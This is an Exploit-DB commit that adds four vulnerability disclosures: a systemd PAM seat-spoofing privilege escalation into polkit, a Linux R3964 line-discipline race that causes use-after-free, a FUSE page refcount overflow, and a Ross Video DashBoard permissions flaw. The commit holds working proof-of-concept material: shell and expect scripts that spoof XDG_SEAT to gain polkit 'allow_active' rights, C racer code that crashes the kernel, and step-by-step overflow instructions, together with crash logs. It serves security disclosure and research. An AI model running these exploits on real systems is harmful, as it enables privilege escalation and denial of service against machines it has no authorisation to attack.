DB: 2019-04-24

4 changes to exploits/shellcodes

systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit
Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition
Linux - 'page->_refcount' Overflow via FUSE

Ross Video DashBoard 8.5.1 - Insecure Permissions
This commit is contained in:
Offensive Security 2019-04-24 05:02:04 +00:00
parent 56498e7891
commit eed95d3393
5 changed files with 696 additions and 0 deletions

View file

@ -0,0 +1,243 @@
As documented at
<https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html>, for
any action, a polkit policy can specify separate levels of required
authentication based on whether a client is:
- in an active session on a local console
- in an inactive session on a local console
- or neither
This is expressed in the policy using the elements "allow_any",
"allow_inactive" and "allow_active". Very roughly speaking, the idea here is
to give special privileges to processes owned by users that are sitting
physically in front of the machine (or at least, a keyboard and a screen that
are connected to a machine), and restrict processes that e.g. belong to users
that are ssh'ing into a machine.
For example, the ability to refresh the system's package index is restricted
this way using a policy in
/usr/share/polkit-1/actions/org.freedesktop.packagekit.policy:
<action id="org.freedesktop.packagekit.system-sources-refresh">
[...]
<description>Refresh system repositories</description>
[...]
<message>Authentication is required to refresh the system repositories</message>
[...]
<defaults>
<allow_any>auth_admin</allow_any>
<allow_inactive>auth_admin</allow_inactive>
<allow_active>yes</allow_active>
</defaults>
</action>
On systems that use systemd-logind, polkit determines whether a session is
associated with a local console by checking whether systemd-logind is tracking
the session as being associated with a "seat". This happens through
polkit_backend_session_monitor_is_session_local() in
polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat().
The check whether a session is active works similarly.
systemd-logind is informed about the creation of new sessions by the PAM
module pam_systemd through a systemd message bus call from
pam_sm_open_session() to method_create_session(). The RPC method trusts the
information supplied to it, apart from some consistency checks; that is not
directly a problem, since this RPC method can only be invoked by root.
This means that the PAM module needs to ensure that it doesn't pass incorrect
data to systemd-logind.
Looking at the code in the PAM module, however, you can see that the seat name
of the session and the virtual terminal number come from environment
variables:
seat = getenv_harder(handle, "XDG_SEAT", NULL);
cvtnr = getenv_harder(handle, "XDG_VTNR", NULL);
type = getenv_harder(handle, "XDG_SESSION_TYPE", type_pam);
class = getenv_harder(handle, "XDG_SESSION_CLASS", class_pam);
desktop = getenv_harder(handle, "XDG_SESSION_DESKTOP", desktop_pam);
This is actually documented at
<https://www.freedesktop.org/software/systemd/man/pam_systemd.html#Environment>.
After some fixup logic that is irrelevant here, this data is then passed to
the RPC method.
One quirk of this issue is that a new session is only created if the calling
process is not already part of a session (based on the cgroups it is in,
parsed from procfs). This means that an attacker can't simply ssh into a
machine, set some environment variables, and then invoke a setuid binary that
uses PAM (such as "su") because ssh already triggers creation of a session via
PAM. But as it turns out, the systemd PAM module is only invoked for
interactive sessions:
# cat /usr/share/pam-configs/systemd
Name: Register user sessions in the systemd control group hierarchy
Default: yes
Priority: 0
Session-Interactive-Only: yes
Session-Type: Additional
Session:
optional pam_systemd.so
So, under the following assumptions:
- we can run commands on the remote machine, e.g. via SSH
- our account can be used with "su" (it has a password and isn't disabled)
- the machine has no X server running and is currently displaying tty1, with
a login prompt
we can have our actions checked against the "allow_active" policies instead of
the "allow_any" policies as follows:
- SSH into the machine
- use "at" to schedule a job in one minute that does the following:
* wipe the environment
* set XDG_SEAT=seat0 and XDG_VTNR=1
* use "expect" to run "su -c {...} {our_username}" and enter our user's
password
* in the shell invoked by "su", perform the action we want to run under the
"allow_active" policy
I tested this in a Debian 10 VM, as follows ("{{{...}}}" have been replaced),
after ensuring that no sessions are active and the VM's screen is showing the
login prompt on tty1; all following commands are executed over SSH:
=====================================================================
normal_user@deb10:~$ cat session_outer.sh
#!/bin/sh
echo "===== OUTER TESTING PKCON" >/tmp/atjob.log
pkcon refresh -p </dev/null >>/tmp/atjob.log
env -i /home/normal_user/session_middle.sh
normal_user@deb10:~$ cat session_middle.sh
#!/bin/sh
export XDG_SEAT=seat0
export XDG_VTNR=1
echo "===== ENV DUMP =====" > /tmp/atjob.log
env >> /tmp/atjob.log
echo "===== SESSION_OUTER =====" >> /tmp/atjob.log
cat /proc/self/cgroup >> /tmp/atjob.log
echo "===== OUTER LOGIN STATE =====" >> /tmp/atjob.log
loginctl --no-ask-password >> /tmp/atjob.log
echo "===== MIDDLE TESTING PKCON" >>/tmp/atjob.log
pkcon refresh -p </dev/null >>/tmp/atjob.log
/home/normal_user/runsu.expect
echo "=========================" >> /tmp/atjob.log
normal_user@deb10:~$ cat runsu.expect
#!/usr/bin/expect
spawn /bin/su -c "/home/normal_user/session_inner.sh" normal_user
expect "Password: "
send "{{{PASSWORD}}}\n"
expect eof
normal_user@deb10:~$ cat session_inner.sh
#!/bin/sh
echo "===== INNER LOGIN STATE =====" >> /tmp/atjob.log
loginctl --no-ask-password >> /tmp/atjob.log
echo "===== SESSION_INNER =====" >> /tmp/atjob.log
cat /proc/self/cgroup >> /tmp/atjob.log
echo "===== INNER TESTING PKCON" >>/tmp/atjob.log
pkcon refresh -p </dev/null >>/tmp/atjob.log
normal_user@deb10:~$ loginctl
SESSION UID USER SEAT TTY
7 1001 normal_user pts/0
1 sessions listed.
normal_user@deb10:~$ pkcon refresh -p </dev/null
Transaction: Refreshing cache
Status: Waiting in queue
Status: Waiting for authentication
Status: Finished
Results:
Fatal error: Failed to obtain authentication.
normal_user@deb10:~$ at -f /home/normal_user/session_outer.sh {{{TIME}}}
warning: commands will be executed using /bin/sh
job 25 at {{{TIME}}}
{{{ wait here until specified time has been reached, plus time for the job to finish running}}}
normal_user@deb10:~$ cat /tmp/atjob.log
===== ENV DUMP =====
XDG_SEAT=seat0
XDG_VTNR=1
PWD=/home/normal_user
===== SESSION_OUTER =====
10:memory:/system.slice/atd.service
9:freezer:/
8:pids:/system.slice/atd.service
7:perf_event:/
6:devices:/system.slice/atd.service
5:net_cls,net_prio:/
4:cpuset:/
3:blkio:/
2:cpu,cpuacct:/
1:name=systemd:/system.slice/atd.service
0::/system.slice/atd.service
===== OUTER LOGIN STATE =====
SESSION UID USER SEAT TTY
7 1001 normal_user pts/0
1 sessions listed.
===== MIDDLE TESTING PKCON
Transaction: Refreshing cache
Status: Waiting in queue
Status: Waiting for authentication
Status: Finished
Results:
Fatal error: Failed to obtain authentication.
===== INNER LOGIN STATE =====
SESSION UID USER SEAT TTY
18 1001 normal_user seat0 pts/1
7 1001 normal_user pts/0
2 sessions listed.
===== SESSION_INNER =====
10:memory:/user.slice/user-1001.slice/session-18.scope
9:freezer:/
8:pids:/user.slice/user-1001.slice/session-18.scope
7:perf_event:/
6:devices:/user.slice
5:net_cls,net_prio:/
4:cpuset:/
3:blkio:/
2:cpu,cpuacct:/
1:name=systemd:/user.slice/user-1001.slice/session-18.scope
0::/user.slice/user-1001.slice/session-18.scope
===== INNER TESTING PKCON
Transaction: Refreshing cache
Status: Waiting in queue
Status: Waiting for authentication
Status: Waiting in queue
Status: Starting
Status: Loading cache
Percentage: 0
Percentage: 50
Percentage: 100
Percentage: 0
Percentage: 50
Percentage: 100
Status: Refreshing software list
Status: Downloading packages
Percentage: 0
Status: Running
Status: Loading cache
Percentage: 100
Status: Finished
Results:
Enabled http://ftp.ch.debian.org/debian buster InRelease
Enabled http://security.debian.org/debian-security buster/updates InRelease
Enabled http://debug.mirrors.debian.org/debian-debug buster-debug InRelease
=========================
You have new mail in /var/mail/normal_user
normal_user@deb10:~$
=====================================================================

192
exploits/linux/dos/46744.c Normal file
View file

@ -0,0 +1,192 @@
/*
The Siemens R3964 line discipline code in drivers/tty/n_r3964.c has a few races
around its ioctl handler; for example, the handler for R3964_ENABLE_SIGNALS
just allocates and deletes elements in a linked list with zero locking.
This code is reachable by an unprivileged user if the line discipline is enabled
in the kernel config; Ubuntu 18.04, for example, ships this line discipline as a
module.
Proof of concept:
==================================
user@ubuntu-18-04-vm:~/r3964$ cat r3964_racer.c
*/
#define _GNU_SOURCE
#include <pthread.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <err.h>
#include <stdlib.h>
#include <linux/n_r3964.h>
static int ptm_fd, slave_fd;
static void *thread_fn(void *dummy) {
int res;
while (1) {
res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, R3964_SIG_ALL);
printf("R3964_ENABLE_SIGNALS: %d\n", res);
res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, 0);
printf("R3964_ENABLE_SIGNALS: %d\n", res);
}
}
int main(void) {
ptm_fd = getpt();
if (ptm_fd == -1) err(1, "getpt");
if (unlockpt(ptm_fd)) err(1, "unlockpt");
slave_fd = ioctl(ptm_fd, TIOCGPTPEER, O_RDWR);
if (slave_fd == -1) err(1, "TIOCGPTPEER");
printf("-----------------------------------------\n");
system("ls -l /proc/$PPID/fd");
printf("-----------------------------------------\n");
const int disc_r3964 = N_R3964;
if (ioctl(slave_fd, TIOCSETD, &disc_r3964)) err(1, "TIOCSETD");
pthread_t thread;
if (pthread_create(&thread, NULL, thread_fn, NULL)) errx(1, "pthread_create");
thread_fn(NULL);
return 0;
}
/*
user@ubuntu-18-04-vm:~/r3964$ gcc -o r3964_racer r3964_racer.c -pthread && ./r3964_racer
[...]
==================================
dmesg splat:
==================================
[ 82.646953] r3964: Philips r3964 Driver $Revision: 1.10 $
[ 82.656459] ------------[ cut here ]------------
[ 82.656461] kernel BUG at /build/linux-Y38gIP/linux-4.15.0/mm/slub.c:296!
[ 82.658396] invalid opcode: 0000 [#1] SMP PTI
[ 82.659515] Modules linked in: n_r3964 joydev ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack libcrc32c br_netfilter bridge stp llc aufs overlay snd_hda_codec_generic crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep ghash_clmulni_intel snd_pcm snd_seq_midi snd_seq_midi_event pcbc aesni_intel aes_x86_64 snd_rawmidi snd_seq snd_seq_device snd_timer snd crypto_simd glue_helper cryptd input_leds soundcore mac_hid 9pnet_virtio 9pnet serio_raw qemu_fw_cfg sch_fq_codel parport_pc ppdev lp parport ip_tables x_tables autofs4 virtio_gpu ttm floppy drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops drm
[ 82.677770] virtio_net i2c_piix4 pata_acpi
[ 82.678849] CPU: 1 PID: 2209 Comm: r3964_racer Not tainted 4.15.0-42-generic #45-Ubuntu
[ 82.680897] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 82.683098] RIP: 0010:kfree+0x16a/0x180
[ 82.684116] RSP: 0018:ffffb6b381d7fd50 EFLAGS: 00010246
[ 82.685454] RAX: ffff9bb0b4770000 RBX: ffff9bb0b4770000 RCX: ffff9bb0b4770000
[ 82.687285] RDX: 0000000000006e86 RSI: ffff9bb1bfca70a0 RDI: ffff9bb1bb003800
[ 82.689247] RBP: ffffb6b381d7fd68 R08: ffffffffc0511db0 R09: ffffffffc051202c
[ 82.691077] R10: ffffeb8c80d1dc00 R11: 0000000000000000 R12: ffff9bb1b3430e40
[ 82.692906] R13: ffffffffc051202c R14: ffff9bb13b56e800 R15: ffff9bb12d1addd0
[ 82.694726] FS: 00007ff9b92da740(0000) GS:ffff9bb1bfc80000(0000) knlGS:0000000000000000
[ 82.696801] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 82.698421] CR2: 0000558cf9e32ec8 CR3: 00000000a513a005 CR4: 00000000003606e0
[ 82.700259] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 82.702113] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 82.703946] Call Trace:
[ 82.704602] r3964_ioctl+0x27c/0x2b0 [n_r3964]
[ 82.705746] tty_ioctl+0x138/0x8c0
[ 82.706631] ? __wake_up+0x13/0x20
[ 82.707516] do_vfs_ioctl+0xa8/0x630
[ 82.708610] ? vfs_write+0x166/0x1a0
[ 82.709543] SyS_ioctl+0x79/0x90
[ 82.710405] do_syscall_64+0x73/0x130
[ 82.711357] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 82.712659] RIP: 0033:0x7ff9b8bd45d7
[ 82.713680] RSP: 002b:00007fffcd85bcf8 EFLAGS: 00000202 ORIG_RAX: 0000000000000010
[ 82.715617] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff9b8bd45d7
[ 82.717463] RDX: 0000000000000000 RSI: 0000000000005301 RDI: 0000000000000004
[ 82.719411] RBP: 00007fffcd85bd20 R08: 0000000000000000 R09: 0000000000000000
[ 82.721248] R10: 0000000000000000 R11: 0000000000000202 R12: 0000556df58ed820
[ 82.723093] R13: 00007fffcd85be30 R14: 0000000000000000 R15: 0000000000000000
[ 82.724930] Code: c4 80 74 04 41 8b 72 6c 4c 89 d7 e8 61 1c f9 ff eb 86 41 b8 01 00 00 00 48 89 d9 48 89 da 4c 89 d6 e8 8b f6 ff ff e9 6d ff ff ff <0f> 0b 48 8b 3d 6d c5 1c 01 e9 c9 fe ff ff 0f 1f 84 00 00 00 00
[ 82.729909] RIP: kfree+0x16a/0x180 RSP: ffffb6b381d7fd50
[ 82.731310] ---[ end trace c1cd537c5d2e0b84 ]---
==================================
I've also tried this on 5.0-rc2 with KASAN on, which resulted in this splat:
==================================
[ 69.883056] ==================================================================
[ 69.885163] BUG: KASAN: use-after-free in r3964_ioctl+0x288/0x3c0
[ 69.886855] Read of size 8 at addr ffff8881e0474020 by task r3964_racer/1134
[ 69.888820]
[ 69.889251] CPU: 3 PID: 1134 Comm: r3964_racer Not tainted 5.0.0-rc2 #238
[ 69.891729] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 69.894535] Call Trace:
[ 69.895223] dump_stack+0x71/0xab
[ 69.896134] ? r3964_ioctl+0x288/0x3c0
[ 69.897181] print_address_description+0x6a/0x270
[ 69.898473] ? r3964_ioctl+0x288/0x3c0
[ 69.899499] ? r3964_ioctl+0x288/0x3c0
[ 69.900534] kasan_report+0x14e/0x192
[ 69.901562] ? r3964_ioctl+0x288/0x3c0
[ 69.902606] r3964_ioctl+0x288/0x3c0
[ 69.903586] tty_ioctl+0x227/0xbd0
[...]
[ 69.917312] do_vfs_ioctl+0x134/0x8f0
[...]
[ 69.926807] ksys_ioctl+0x70/0x80
[ 69.927709] __x64_sys_ioctl+0x3d/0x50
[ 69.928734] do_syscall_64+0x73/0x160
[ 69.929741] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.931099] RIP: 0033:0x7f6491542dd7
[ 69.932068] Code: 00 00 00 48 8b 05 c1 80 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 91 80 2b 00 f7 d8 64 89 01 48
[ 69.937051] RSP: 002b:00007f6491460f28 EFLAGS: 00000206 ORIG_RAX: 0000000000000010
[ 69.939067] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6491542dd7
[ 69.940977] RDX: 000000000000000f RSI: 0000000000005301 RDI: 0000000000000004
[ 69.942905] RBP: 00007f6491460f50 R08: 0000000000000000 R09: 0000000000000018
[ 69.944800] R10: 0000000000000064 R11: 0000000000000206 R12: 0000000000000000
[ 69.947600] R13: 00007ffeb17a9b4f R14: 0000000000000000 R15: 00007f6491c42040
[ 69.949491]
[ 69.949923] Allocated by task 1131:
[ 69.950866] __kasan_kmalloc.constprop.8+0xa5/0xd0
[ 69.952147] kmem_cache_alloc_trace+0xfa/0x200
[ 69.953352] r3964_ioctl+0x2e6/0x3c0
[ 69.954333] tty_ioctl+0x227/0xbd0
[ 69.955267] do_vfs_ioctl+0x134/0x8f0
[ 69.956248] ksys_ioctl+0x70/0x80
[ 69.957150] __x64_sys_ioctl+0x3d/0x50
[ 69.958169] do_syscall_64+0x73/0x160
[ 69.959148] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.960485]
[ 69.960910] Freed by task 1131:
[ 69.961764] __kasan_slab_free+0x135/0x180
[ 69.962851] kfree+0x90/0x1d0
[ 69.963660] r3964_ioctl+0x208/0x3c0
[ 69.964631] tty_ioctl+0x227/0xbd0
[ 69.965564] do_vfs_ioctl+0x134/0x8f0
[ 69.966540] ksys_ioctl+0x70/0x80
[ 69.967424] __x64_sys_ioctl+0x3d/0x50
[ 69.968424] do_syscall_64+0x73/0x160
[ 69.969414] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.970768]
[ 69.971182] The buggy address belongs to the object at ffff8881e0474008
[ 69.971182] which belongs to the cache kmalloc-64 of size 64
[ 69.974429] The buggy address is located 24 bytes inside of
[ 69.974429] 64-byte region [ffff8881e0474008, ffff8881e0474048)
[ 69.977470] The buggy address belongs to the page:
[ 69.978744] page:ffffea0007811d00 count:1 mapcount:0 mapping:ffff8881e600f740 index:0x0 compound_mapcount: 0
[ 69.981316] flags: 0x17fffc000010200(slab|head)
[ 69.982528] raw: 017fffc000010200 ffffea0007554508 ffffea0007811e08 ffff8881e600f740
[ 69.984722] raw: 0000000000000000 0000000000270027 00000001ffffffff 0000000000000000
[ 69.984723] page dumped because: kasan: bad access detected
[ 69.984724]
[ 69.984725] Memory state around the buggy address:
[ 69.984727] ffff8881e0473f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984729] ffff8881e0473f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984731] >ffff8881e0474000: fc fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc
[ 69.984732] ^
[ 69.984734] ffff8881e0474080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984736] ffff8881e0474100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984737] ==================================================================
[ 69.984739] Disabling lock debugging due to kernel taint
[ 69.996233] ==================================================================
==================================
I wonder whether it would, in addition to fixing the locking, also make sense to
gate the line discipline on some sort of capability - it seems wrong to me that
this kind of code is exposed to every user on the system.
*/

View file

@ -0,0 +1,214 @@
Linux: page->_refcount overflow via FUSE with ~140GiB RAM usage
Tested on:
Debian Buster
distro kernel "4.19.0-1-amd64 #1 SMP Debian 4.19.12-1 (2018-12-22)"
KVM guest with 160000MiB RAM
A while back, there was some discussion about possible overflows of the
`mapcount` in `struct page`, started by Daniel Micay.
See the following threads:
https://lore.kernel.org/lkml/CAG48ez3R7XL8MX_sjff1FFYuARX_58wA_=ACbv2im-XJKR8tvA@mail.gmail.com/t/#u
"Re: [PATCH v5 07/27] mm/mmap: Create a guard area between VMAs"
Sent by me, forwarding Daniel Micay's concern about overflows of `mapcount`.
https://lore.kernel.org/lkml/20180208021112.GB14918@bombadil.infradead.org/T/
"[RFC] Warn the user when they could overflow mapcount"
from Matthew Wilcox <willy@infradead.org>
I have now noticed that the `_refcount` has a similar problem, and it is
possible to overflow it on a machine with ~140GiB of RAM (or probably also less
on kernels that have commit 5da784cce4308 ("fuse: add max_pages to init_out"),
but that's very recent, it landed in 4.20).
A FUSE request can, by default (and on kernels <4.20 always), contain up to
FUSE_DEFAULT_MAX_PAGES_PER_REQ==32 (on older kernels FUSE_MAX_PAGES_PER_REQ==32)
page references. (>=4.20 allows the user to bump that limit up to
FUSE_MAX_MAX_PAGES==256.) The page references in a FUSE request are stored as
an array whose elements are concatenations of a `struct page *` and a
`struct fuse_page_desc` (8 bytes, containing length and offset inside the page).
This means that each page reference consumes 16 bytes, so to overflow the
32-bit `_refcount` of a page, pow(2,32)*16B=64GiB of kernel memory are needed as
storage for such references allocated with fuse_req_pages_alloc(). All other
overhead is at least per-FUSE-request and distributed over
FUSE_DEFAULT_MAX_PAGES_PER_REQ==32 references.
FUSE does permit read/write operations that operate on more pages than the
maximum FUSE request page count; in this case, if direct I/O is used,
fuse_direct_io() splits the operation into multiple requests. This means that
the only limits at the VFS layer are MAX_RW_COUNT==0x7ffff000 and
UIO_MAXIOV==0x400.
This means that it is possible to create 0x7ffff references to a page that can
be freely mapped in userspace as follows:
- Set up a virtual memory area that contains 0x200 consecutive mappings of the
same page.
- Create an array of UIO_MAXIOV==0x400 identical IO vectors that point to the
area containing the 0x200 mappings.
- Open a FUSE-backed file with O_DIRECT. (This file should ***NOT*** be served
as FOPEN_DIRECT_IO by the FUSE filesystem, that prevents AIO from working
AFAICS! That probably counts as a bug if I'm right...)
- Use the UIO_MAXIOV==0x400 IO vectors for a read operation on the file.
- Let the FUSE filesystem leave the read requests pending.
By sending 0x2000 such read operations, the _refcount can be brought close to
overflow.
(Technically, you could play games with unaligned addresses and such to increase
the number of references per read operation a bit further.)
In order to avoid needing one client-side userspace thread per read operation,
it is possible to use AIO. AIO is able to send read operations that will be
processed asynchronously by FUSE; however, FUSE limits the number of resulting
FUSE requests ***per FUSE filesystem*** to a variable number that depends on the
amount of physical memory the system has (see sanitize_global_limit(); the limit
is the amount of RAM multiplied with 2^-13). Since this limit is per-filesystem,
as long as a single filesystem operation's FUSE requests fit in the limit,
an attacker can distribute the filesystem operations across multiple FUSE
filesystems.
AIO also imposes a global limit on the number of pending operations.
The official limit for pending AIO operations across the system is
aio_max_nr==0x10000; however, as a comment in fs/aio.c explains,
the real limit is significantly higher, and up to 0x10000 *pages* of
io_event structs (minus the overhead of `struct aio_ring`)
can be used (see aio_setup_ring()); this means that the real limit is
0x10000*((0x1000-128)/32)==0x7c0000 operations.
But since the bug can be triggered with ~0x2000 parallel pread operations, that
doesn't matter here anyway.
I am attaching a crash PoC.
First, to make it possible to call dump_page() from userspace for easier
debugging:
- Unpack dump_page_dev.tar.
- Build the kernel module in dump_page_dev/ with "make".
- Load the built kernel module with "sudo insmod dump_page_dev.ko".
For the actual PoC:
- Ensure that there is no distro-specific sysctl that prevents unprivileged
namespace creation (on Debian:
"echo 1 > /proc/sys/kernel/unprivileged_userns_clone"). This is necessary
to be able to create a mount namespace and mount as many FUSE filesystems as
we want in there; the SUID fusermount helper imposes a limit of 1000 FUSE
mounts.
- Unpack fuse_aio.tar.
- Build the PoC with ./compile.sh.
- Launch a new graphical terminal with multiple tabs in a new mount namespace,
using a command like
`unshare -mUrp --mount-proc --fork xfce4-terminal --disable-server`.
- Inside the namespace, run ./fuse_aio to mount 0x2000 FUSE filesystems.
- In a second terminal tab inside the namespace, run ./aio_reader to trigger
the bug.
- Wait and watch `sudo dmesg -w`.
You should see debug output like this in dmesg:
[ 304.782310] fuse init (API version 7.27)
[ 309.607367] mmap: aio_reader (10371) uses deprecated remap_file_pages() syscall. See Documentation/vm/remap_file_pages.rst.
[ 309.631150] dump_page: ---------- STARTING DUMP ----------
[ 309.631154] dump_page: DUMP MARKER: 0x0
[ 309.631158] page:fffff7bad9e04fc0 count:8194 mapcount:8192 mapping:ffffa0f08abdb358 index:0x0
[ 309.631162] flags: 0x17fffc00004007c(referenced|uptodate|dirty|lru|active|swapbacked)
[ 309.631165] raw: 017fffc00004007c fffff7bad9e049c8 ffffa0f0a04e0c10 ffffa0f08abdb358
[ 309.631167] raw: 0000000000000000 0000000000000000 0000200200001fff ffffa0f0a036e000
[ 309.631169] page dumped because: dump requested via ioctl
[ 309.631170] page->mem_cgroup:ffffa0f0a036e000
[ 309.631171] dump_page: ========== END OF DUMP ==========
[ 309.667063] dump_page: ---------- STARTING DUMP ----------
[ 309.667067] dump_page: DUMP MARKER: 0x1
[ 309.667070] page:fffff7bad9e04fc0 count:532481 mapcount:8192 mapping:ffffa0f08abdb358 index:0x0
[ 309.667074] flags: 0x17fffc00004007c(referenced|uptodate|dirty|lru|active|swapbacked)
[ 309.667078] raw: 017fffc00004007c fffff7bad9e049c8 fffff7bad9d09a08 ffffa0f08abdb358
[ 309.667080] raw: 0000000000000000 0000000000000000 0008200100001fff ffffa0f0a036e000
[ 309.667081] page dumped because: dump requested via ioctl
[ 309.667082] page->mem_cgroup:ffffa0f0a036e000
[ 309.667083] dump_page: ========== END OF DUMP ==========
[ 423.507289] dump_page: ---------- STARTING DUMP ----------
[ 423.507293] dump_page: DUMP MARKER: 0x2
[ 423.507296] page:fffff7bad9e04fc0 count:-2147479550 mapcount:8192 mapping:ffffa0f08abdb358 index:0x0
[ 423.507299] flags: 0x17fffc00004007c(referenced|uptodate|dirty|lru|active|swapbacked)
[ 423.507302] raw: 017fffc00004007c fffff7bad9e049c8 fffff7bad9d09a08 ffffa0f08abdb358
[ 423.507303] raw: 0000000000000000 0000000000000000 8000100200001fff ffffa0f0a036e000
[ 423.507304] page dumped because: dump requested via ioctl
[ 423.507305] page->mem_cgroup:ffffa0f0a036e000
[ 423.507306] dump_page: ========== END OF DUMP ==========
[ 608.388324] dump_page: ---------- STARTING DUMP ----------
[ 608.388333] dump_page: DUMP MARKER: 0x3
[ 608.388340] page:fffff7bad9e04fc0 count:2 mapcount:8192 mapping:ffffa0f08abdb358 index:0x0
[ 608.388347] flags: 0x17fffc00004007c(referenced|uptodate|dirty|lru|active|swapbacked)
[ 608.388353] raw: 017fffc00004007c fffff7bad9e049c8 fffff7bad9d09a08 ffffa0f08abdb358
[ 608.388358] raw: 0000000000000000 0000000000000000 0000000200001fff ffffa0f0a036e000
[ 608.388361] page dumped because: dump requested via ioctl
[ 608.388363] page->mem_cgroup:ffffa0f0a036e000
[ 608.388365] dump_page: ========== END OF DUMP ==========
[ 608.390616] dump_page: ---------- STARTING DUMP ----------
[ 608.390620] dump_page: DUMP MARKER: 0x4
[ 608.390624] page:fffff7bad9e04fc0 count:-510 mapcount:7680 mapping:ffffa0f08abdb358 index:0x1
[ 608.390628] flags: 0x17fffc000000004(referenced)
[ 608.390632] raw: 017fffc000000004 fffff7ba54000948 ffffa0f0b35e62f8 ffffa0f08abdb358
[ 608.390636] raw: 0000000000000001 0000000000000000 fffffe0200001dff 0000000000000000
[ 608.390639] page dumped because: dump requested via ioctl
[ 608.390641] dump_page: ========== END OF DUMP ==========
[...]
[ 608.409077] dump_page: ---------- STARTING DUMP ----------
[ 608.409079] dump_page: DUMP MARKER: 0x4
[ 608.409081] page:fffff7bad9e04fc0 count:-7678 mapcount:512 mapping:ffffa0f08abdb358 index:0x1
[ 608.409083] flags: 0x17fffc000000004(referenced)
[ 608.409085] raw: 017fffc000000004 fffff7ba54000948 ffffa0f0b35e62f8 ffffa0f08abdb358
[ 608.409086] raw: 0000000000000001 0000000000000000 ffffe202000001ff 0000000000000000
[ 608.409087] page dumped because: dump requested via ioctl
[ 608.409088] dump_page: ========== END OF DUMP ==========
[ 608.409988] dump_page: ---------- STARTING DUMP ----------
[ 608.409990] dump_page: DUMP MARKER: 0x5
[ 608.409992] page:fffff7bad9e04fc0 count:-8189 mapcount:1 mapping:ffffa0f08abdb358 index:0x1
[ 608.409994] flags: 0x17fffc000000004(referenced)
[ 608.409996] raw: 017fffc000000004 fffff7ba54000948 ffffa0f0b35e62f8 ffffa0f08abdb358
[ 608.409999] raw: 0000000000000001 0000000000000000 ffffe00300000000 0000000000000000
[ 608.410000] page dumped because: dump requested via ioctl
[ 608.410000] dump_page: ========== END OF DUMP ==========
As you can see, the reference count of the page (when interpreted as an unsigned
number) goes up to 2^32-1 and wraps around, then goes down again and wraps back.
When the refcount wraps back, the page AFAIU moves onto a freelist, and you can
see that e.g. its flags change at that point.
If you interact with the system a bit at this point, you'll soon run into
various kinds of kernel BUG()s.
My guess is that most people don't have machines with >=140GiB RAM at this
point, so luckily, issues like this are probably not a big problem for most
users yet.
As far as I can tell, there are a bunch of potential ways to deal with this
issue:
1. Make refcount/mapcount bigger; but as Matthew Wilcox points out in
<https://lore.kernel.org/lkml/20180208194235.GA3424@bombadil.infradead.org/>,
that would cost something like 2GiB of RAM on a machine with 1TiB RAM.
2. Dirty hack: Detect refcount/mapcount overflow and freeze them at a high
value, in order to deterministically leak references to that page.
Downside is that memory is still going to leak permanently.
This is what refcount_t does on X86 or when CONFIG_REFCOUNT_FULL is set.
3. Daniel Micay's suggestion: Dynamically switch from a small inline refcount to
an out-of-line refcount in some sort of lookup structure
(<https://lore.kernel.org/lkml/CA+DvKQKba0iU+tydbmGkAJsxCxazORDnuoe32sy-2nggyagUxQ@mail.gmail.com/>).
4. Ad-hoc fixes to keep the number of possible references down, see e.g.:
- https://lore.kernel.org/lkml/20180208213743.GC3424@bombadil.infradead.org/
- commit 92117d8443bc5afacc8d5ba82e541946310f106e ("bpf: fix refcnt overflow")
Number 1 is obviously correct, but probably unacceptable given its cost; number
4 is probably the next-easiest solution for any specific way to overflow some
reference counter, but as Daniel said, it smells of whack-a-mole.
That leaves numbers 2 and 3, I guess, unless someone has a better idea?
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/46745.zip

View file

@ -0,0 +1,43 @@
Ross Video DashBoard 8.5.1 Insecure Permissions
Vendor: Ross Video Ltd.
Product web page: https://www.rossvideo.com
Affected version: 8.5.1
Summary: DashBoard is a free and open platform from Ross Video for facility
control and monitoring that enables users to quickly build unique, tailored
Custom Panels that make complex operations simple.
Desc: DashBoard suffers from an elevation of privileges vulnerability which
can be used by a simple authenticated user that can change the executable file
with a binary of choice. The vulnerability exist due to the improper permissions,
with the 'M' flag (Modify) or 'C' flag (Change) for 'Authenticated Users' group.
Tested on: Microsoft Windows 7 Professional SP1 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5516
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5516.php
23.04.2019
--
